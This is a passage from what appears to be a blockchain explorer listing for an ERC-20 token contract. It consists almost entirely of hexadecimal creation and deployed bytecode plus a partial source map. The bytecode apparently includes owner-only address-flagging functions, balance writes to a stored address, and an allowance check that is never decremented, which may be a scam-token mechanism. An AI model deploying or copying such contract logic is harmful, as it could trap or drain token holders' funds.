90fd5b60008284611cdb91906128f0565b90508091505092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d7a91906126cc565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2791906126cc565b6040518363ffffffff1660e01b8152600401611e44929190612856565b602060405180830381865afa158015611e61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8591906126cc565b905090565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611ecb57829050611eda565b8281611ed79190612530565b90505b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f1f578082015181840152602081019050611f04565b60008484015250505050565b6000601f19601f8301169050919050565b6000611f4782611ee5565b611f518185611ef0565b9350611f61818560208601611f01565b611f6a81611f2b565b840191505092915050565b60006020820190508181036000830152611f8f8184611f3c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fcc82611fa1565b9050919050565b611fdc81611fc1565b8114611fe757600080fd5b50565b600081359050611ff981611fd3565b92915050565b6000819050919050565b61201281611fff565b811461201d57600080fd5b50565b60008135905061202f81612009565b92915050565b6000806040838503121561204c5761204b611f97565b5b600061205a85828601611fea565b925050602061206b85828601612020565b9150509250929050565b60008115159050919050565b61208a81612075565b82525050565b60006020820190506120a56000830184612081565b92915050565b6120b481611fff565b82525050565b60006020820190506120cf60008301846120ab565b92915050565b6000602082840312156120eb576120ea611f97565b5b60006120f984828501612020565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261212757612126612102565b5b8235905067ffffffffffffffff81111561214457612143612107565b5b6020830191508360208202830111156121605761215f61210c565b5b9250929050565b6000806020838503121561217e5761217d611f97565b5b600083013567ffffffffffffffff81111561219c5761219b611f9c565b5b6121a885828601612111565b92509250509250929050565b6000806000606084860312156121cd576121cc611f97565b5b60006121db86828701611fea565b93505060206121ec86828701611fea565b92505060406121fd86828701612020565b9150509250925092565b61221081611fc1565b82525050565b600060208201905061222b6000830184612207565b92915050565b60006020828403121561224757612246611f97565b5b600061225584828501611fea565b91505092915050565b61226781612075565b811461227257600080fd5b50565b6000813590506122848161225e565b92915050565b6000602082840312156122a05761229f611f97565b5b60006122ae84828501612275565b91505092915050565b6000806000606084860312156122d0576122cf611f97565b5b60006122de86828701611fea565b93505060206122ef86828701611fea565b925050604061230086828701611fea565b9150509250925092565b6000806040838503121561232157612320611f97565b5b600061232f85828601612275565b925050602061234085828601611fea565b9150509250929050565b6000806040838503121561236157612360611f97565b5b600061236f85828601611fea565b925050602061238085828601611fea565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123d157607f821691505b6020821081036123e4576123e361238a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612420602083611ef0565b915061242b826123ea565b602082019050919050565b6000602082019050818103600083015261244f81612413565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124bf82611fff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124f1576124f0612485565b5b600182019050919050565b600061250782611fff565b915061251283611fff565b925082820190508082111561252a57612529612485565b5b92915050565b600061253b82611fff565b915061254683611fff565b925082820390508181111561255e5761255d612485565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125c0602583611ef0565b91506125cb82612564565b604082019050919050565b600060208201905081810360008301526125ef816125b3565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612652602383611ef0565b915061265d826125f6565b604082019050919050565b6000602082019050818103600083015261268181612645565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506126c681611fd3565b92915050565b6000602082840312156126e2576126e1611f97565b5b60006126f0848285016126b7565b91505092915050565b6000819050919050565b6000819050919050565b600061272861272361271e846126f9565b612703565b611fff565b9050919050565b6127388161270d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61277381611fc1565b82525050565b6000612785838361276a565b60208301905092915050565b6000602082019050919050565b60006127a98261273e565b6127b38185612749565b93506127be8361275a565b8060005b838110156127ef5781516127d68882612779565b97506127e183612791565b9250506001810190506127c2565b5085935050505092915050565b600060a08201905061281160008301886120ab565b61281e602083018761272f565b8181036040830152612830818661279e565b905061283f6060830185612207565b61284c60808301846120ab565b9695505050505050565b600060408201905061286b6000830185612207565b6128786020830184612207565b9392505050565b600061288a82611fff565b915061289583611fff565b92508282026128a381611fff565b915082820484148315176128ba576128b9612485565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128fb82611fff565b915061290683611fff565b925082612916576129156128c1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061297d602183611ef0565b915061298882612921565b604082019050919050565b600060208201905081810360008301526129ac81612970565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006129e9601a83611ef0565b91506129f4826129b3565b602082019050919050565b60006020820190508181036000830152612a18816129dc565b905091905056fea26469706673582212200bb778ea0df17d6955815ff7a0393fe59d029f52bb2621c10e83c4ae087108ed64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063590f897e116100de57806395d89b4111610097578063c62b079511610071578063c62b079514610463578063c9d3d07314610493578063dd62ed3e146104c3578063e884f260146104f35761018e565b806395d89b41146103e5578063a457c2d714610403578063a9059cbb146104335761018e565b8063590f897e1461034957806370a0823114610367578063715018a6146103975780638a8c523c146103a15780638da5cb5b146103ab578063924de9b7146103c95761018e565b806327c8f8351161014b578063395093511161012557806339509351146102c15780633eaaf86b146102f157806340b9a54b1461030f578063467abe0a1461032d5761018e565b806327c8f83514610267578063313ce5671461028557806332424aa3146102a35761018e565b806306fdde0314610193578063095ea7b3146101b157806318160ddd146101e15780631d933a4a146101ff57806321bbcbb11461021b57806323b872dd14610237575b600080fd5b61019b6104fd565b6040516101a89190611f75565b60405180910390f35b6101cb60048036038101906101c69190612035565b61058f565b6040516101d89190612090565b60405180910390f35b6101e96105a6565b6040516101f691906120ba565b60405180910390f35b610219600480360381019061021491906120d5565b6105b0565b005b61023560048036038101906102309190612167565b61063c565b005b610251600480360381019061024c91906121b4565b610755565b60405161025e9190612090565b60405180910390f35b61026f6107f6565b60405161027c9190612216565b60405180910390f35b61028d61081c565b60405161029a91906120ba565b60405180910390f35b6102ab610826565b6040516102b891906120ba565b60405180910390f35b6102db60048036038101906102d69190612035565b61082c565b6040516102e89190612090565b60405180910390f35b6102f96108ca565b60405161030691906120ba565b60405180910390f35b6103176108d0565b60405161032491906120ba565b60405180910390f35b610347600480360381019061034291906120d5565b6108d6565b005b610351610962565b60405161035e91906120ba565b60405180910390f35b610381600480360381019061037c9190612231565b610968565b60405161038e91906120ba565b60405180910390f35b61039f6109b1565b005b6103a9610ae4565b005b6103b3610b76565b6040516103c09190612216565b60405180910390f35b6103e360048036038101906103de919061228a565b610b9f565b005b6103ed610c31565b6040516103fa9190611f75565b60405180910390f35b61041d60048036038101906104189190612035565b610cc3565b60405161042a9190612090565b60405180910390f35b61044d60048036038101906104489190612035565b610dea565b60405161045a9190612090565b60405180910390f35b61047d600480360381019061047891906122b7565b610e01565b60405161048a9190612090565b60405180910390f35b6104ad60048036038101906104a8919061230a565b610faa565b6040516104ba9190612090565b60405180910390f35b6104dd60048036038101906104d8919061234a565b611016565b6040516104ea91906120ba565b60405180910390f35b6104fb61109d565b005b60606009805461050c906123b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610538906123b9565b80156105855780601f1061055a57610100808354040283529160200191610585565b820191906000526020600020905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b600061059c33848461112f565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff166105cf610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c90612436565b60405180910390fd5b600a811061063257600080fd5b80600c8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1661065b610b76565b73ffffffffffffffffffffffffffffffffffffffff16146106b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a890612436565b60405180910390fd5b60005b828290508110156107505760018060008585858181106106d7576106d6612456565b5b90506020020160208101906106ec9190612231565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610748906124b4565b9150506106b4565b505050565b60006107628484846112f8565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107eb57600080fd5b600190509392505050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60055481565b60006108c0338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108bb91906124fc565b61112f565b6001905092915050565b60065481565b600d5481565b3373ffffffffffffffffffffffffffffffffffffffff166108f5610b76565b73ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612436565b60405180910390fd5b600a811061095857600080fd5b80600d8190555050565b600c5481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109d0610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1d90612436565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610b03610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090612436565b60405180910390fd5b6001600b60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610bbe610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612436565b60405180910390fd5b80600b60016101000a81548160ff02191690831515021790555050565b6060600a8054610c40906123b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6c906123b9565b8015610cb95780601f10610c8e57610100808354040283529160200191610cb9565b820191906000526020600020905b815481529060010190602001808311610c9c57829003601f168201915b5050505050905090565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d4e57600080fd5b610de0338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ddb9190612530565b61112f565b6001905092915050565b6000610df73384846112f8565b6001905092915050565b600080610e0f85858561156c565b158015610e4857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610e615750600260149054906101000a900460ff16155b90506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f095750600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610f155750815b8015610f4d57508473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d5784600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508192505050610fa3565b81925050505b9392505050565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690508061100b576000915050611010565b839150505b92915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166110bc610b76565b73ffffffffffffffffffffffffffffffffffffffff1614611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990612436565b60405180910390fd5b6000600e60006101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361119e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611195906125d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361120d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120490612668565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112eb91906120ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361133157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361136a57600080fd5b6113a28273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161483610faa565b156113b6576113b18183611691565b611567565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561140257600080fd5b600061140f84848461195b565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145c9190612530565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826114ab9190612530565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114f991906124fc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155d91906120ba565b60405180910390a3505b505050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115f357508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b905060008373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614801561167b5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905081806116865750805b925050509392505050565b6116be30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461112f565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561171f5761171e612688565b5b60405190808252806020026020018201604052801561174d5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106117805761177f612456565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184b91906126cc565b8160018151811061185f5761185e612456565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426118e991906124fc565b6040518663ffffffff1660e01b81526004016119099594939291906127fc565b600060405180830381600087803b15801561192357600080fd5b505af1158015611937573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b6000806000905061196b85611a15565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da8585611a5f565b15611a0a57611a0760646119f960075486611c0f90919063ffffffff16565b611c8990919063ffffffff16565b90505b809150509392505050565b600080611a20611ce7565b9050611a578382611a52600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610968565b611e8a565b915050919050565b6000611c078383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611af791906126cc565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba491906126cc565b6040518363ffffffff1660e01b8152600401611bc1929190612856565b602060405180830381865afa158015611bde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0291906126cc565b610e01565b905092915050565b6000808303611c215760009050611c83565b60008284611c2f919061287f565b9050828482611c3e91906128f0565b14611c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7590612993565b60405180910390fd5b809150505b92915050565b6000808211611ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc4906129ff565b60405180910390fd5b60008284611cdb91906128f0565b90508091505092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d7a91906126cc565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2791906126cc565b6040518363ffffffff1660e01b8152600401611e44929190612856565b602060405180830381865afa158015611e61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8591906126cc565b905090565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611ecb57829050611eda565b8281611ed79190612530565b90505b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f1f578082015181840152602081019050611f04565b60008484015250505050565b6000601f19601f8301169050919050565b6000611f4782611ee5565b611f518185611ef0565b9350611f61818560208601611f01565b611f6a81611f2b565b840191505092915050565b60006020820190508181036000830152611f8f8184611f3c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fcc82611fa1565b9050919050565b611fdc81611fc1565b8114611fe757600080fd5b50565b600081359050611ff981611fd3565b92915050565b6000819050919050565b61201281611fff565b811461201d57600080fd5b50565b60008135905061202f81612009565b92915050565b6000806040838503121561204c5761204b611f97565b5b600061205a85828601611fea565b925050602061206b85828601612020565b9150509250929050565b60008115159050919050565b61208a81612075565b82525050565b60006020820190506120a56000830184612081565b92915050565b6120b481611fff565b82525050565b60006020820190506120cf60008301846120ab565b92915050565b6000602082840312156120eb576120ea611f97565b5b60006120f984828501612020565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261212757612126612102565b5b8235905067ffffffffffffffff81111561214457612143612107565b5b6020830191508360208202830111156121605761215f61210c565b5b9250929050565b6000806020838503121561217e5761217d611f97565b5b600083013567ffffffffffffffff81111561219c5761219b611f9c565b5b6121a885828601612111565b92509250509250929050565b6000806000606084860312156121cd576121cc611f97565b5b60006121db86828701611fea565b93505060206121ec86828701611fea565b92505060406121fd86828701612020565b9150509250925092565b61221081611fc1565b82525050565b600060208201905061222b6000830184612207565b92915050565b60006020828403121561224757612246611f97565b5b600061225584828501611fea565b91505092915050565b61226781612075565b811461227257600080fd5b50565b6000813590506122848161225e565b92915050565b6000602082840312156122a05761229f611f97565b5b60006122ae84828501612275565b91505092915050565b6000806000606084860312156122d0576122cf611f97565b5b60006122de86828701611fea565b93505060206122ef86828701611fea565b925050604061230086828701611fea565b9150509250925092565b6000806040838503121561232157612320611f97565b5b600061232f85828601612275565b925050602061234085828601611fea565b9150509250929050565b6000806040838503121561236157612360611f97565b5b600061236f85828601611fea565b925050602061238085828601611fea565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123d157607f821691505b6020821081036123e4576123e361238a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612420602083611ef0565b915061242b826123ea565b602082019050919050565b6000602082019050818103600083015261244f81612413565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124bf82611fff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124f1576124f0612485565b5b600182019050919050565b600061250782611fff565b915061251283611fff565b925082820190508082111561252a57612529612485565b5b92915050565b600061253b82611fff565b915061254683611fff565b925082820390508181111561255e5761255d612485565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125c0602583611ef0565b91506125cb82612564565b604082019050919050565b600060208201905081810360008301526125ef816125b3565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612652602383611ef0565b915061265d826125f6565b604082019050919050565b6000602082019050818103600083015261268181612645565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506126c681611fd3565b92915050565b6000602082840312156126e2576126e1611f97565b5b60006126f0848285016126b7565b91505092915050565b6000819050919050565b6000819050919050565b600061272861272361271e846126f9565b612703565b611fff565b9050919050565b6127388161270d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61277381611fc1565b82525050565b6000612785838361276a565b60208301905092915050565b6000602082019050919050565b60006127a98261273e565b6127b38185612749565b93506127be8361275a565b8060005b838110156127ef5781516127d68882612779565b97506127e183612791565b9250506001810190506127c2565b5085935050505092915050565b600060a08201905061281160008301886120ab565b61281e602083018761272f565b8181036040830152612830818661279e565b905061283f6060830185612207565b61284c60808301846120ab565b9695505050505050565b600060408201905061286b6000830185612207565b6128786020830184612207565b9392505050565b600061288a82611fff565b915061289583611fff565b92508282026128a381611fff565b915082820484148315176128ba576128b9612485565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128fb82611fff565b915061290683611fff565b925082612916576129156128c1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061297d602183611ef0565b915061298882612921565b604082019050919050565b600060208201905081810360008301526129ac81612970565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006129e9601a83611ef0565b91506129f4826129b3565b602082019050919050565b60006020820190508181036000830152612a18816129dc565b905091905056fea26469706673582212200bb778ea0df17d6955815ff7a0393fe59d029f52bb2621c10e83c4ae087108ed64736f6c63430008110033

Deployed Bytecode Sourcemap

3863:5733:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6337:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6779:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6574:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9162:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2755:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8433:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9521:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6495:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4078:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4549:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4113:56;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9129:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9278:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9095:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6668:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2459:148;;;:::i;:::-;;8881:84;;;:::i;:::-;;2242:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9001:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6414:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4766:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8254:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3161:411;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2928:227;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4392:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9424:91;;;:::i;:::-;;6337:71;6376:13;6400:5;6393:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6337:71;:::o;6779:167::-;6862:4;6879:37;6888:10;6900:7;6909:6;6879:8;:37::i;:::-;6934:4;6927:11;;6779:167;;;;:::o;6574:88::-;6629:7;6647:12;;6640:19;;6574:88;:::o;9162:110::-;2386:10;2375:21;;:7;:5;:7::i;:::-;:21;;;2367:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;9238:2:::1;9234:1;:6;9226:15;;;::::0;::::1;;9263:1;9252:8;:12;;;;9162:110:::0;:::o;2755:167::-;2386:10;2375:21;;:7;:5;:7::i;:::-;:21;;;2367:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2832:6:::1;2827:88;2848:5;;:12;;2844:1;:16;2827:88;;;2899:4;2882::::0;:14:::1;2887:5;;2893:1;2887:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2882:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;2862:3;;;;;:::i;:::-;;;;2827:88;;;;2755:167:::0;;:::o;8433:244::-;8537:4;8554:34;8564:4;8570:9;8581:6;8554:9;:34::i;:::-;8640:6;8607:11;:17;8619:4;8607:17;;;;;;;;;;;;;;;:29;8625:10;8607:29;;;;;;;;;;;;;;;;:39;;8599:48;;;;;;8665:4;8658:11;;8433:244;;;;;:::o;9521:71::-;;;;;;;;;;;;;:::o;6495:73::-;6538:7;6556:9;;6549:16;;6495:73;:::o;4078:28::-;;;;:::o;4549:211::-;4637:4;4654:76;4663:10;4675:7;4719:10;4684:11;:23;4696:10;4684:23;;;;;;;;;;;;;;;:32;4708:7;4684:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;4654:8;:76::i;:::-;